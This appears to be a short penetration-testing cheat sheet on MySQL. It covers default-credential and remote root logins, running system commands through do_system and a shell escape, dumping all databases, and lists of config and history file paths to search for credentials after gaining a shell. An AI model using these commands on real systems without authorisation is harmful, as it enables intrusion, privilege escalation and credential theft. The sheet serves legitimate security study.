```

## Local Access

if you gain access to target box and see mysql running , you can try to connect with it from target locally

# Connect to root without password

mysql -u root -p 
# A password will be asked

# Always test root:root credential
```

## Remote Access

```
mysql -h <Hostname> -u root

mysql -h <Hostname> -u root@localhost
```

## If running as root

If Mysql is running as root and you have acces, you can run commands:

```
mysql> select do_system('id');

mysql> \! sh
```

## Getting all the information from inside the database

```
mysqldump -u admin -p admin --all-databases --skip-lock-tables 
```

## Post Enumeration

Here are list of some files to check after shell on target system to get some credentials or some juicy information that help to get root easily&#x20;

### MySQL server configuration file

* Unix

  ```
  my.cnf
  /etc/mysql
  /etc/my.cnf
  /etc/mysql/my.cnf
  /var/lib/mysql/my.cnf
  ~/.my.cnf
  /etc/my.cnf
  ```
* Windows

  ```
  config.ini
  my.ini
  windows\my.ini
  winnt\my.ini
  <InstDir>/mysql/data/
  ```

### Command History

~/.mysql.history

### Finding passwords to MySQL

* You might gain access to a shell by uploading a reverse-shell. And then you need to escalate your privilege.
* Look into the database and see what users and passwords that are available.

  ```
  /var/www/html/configuration.php
  ```
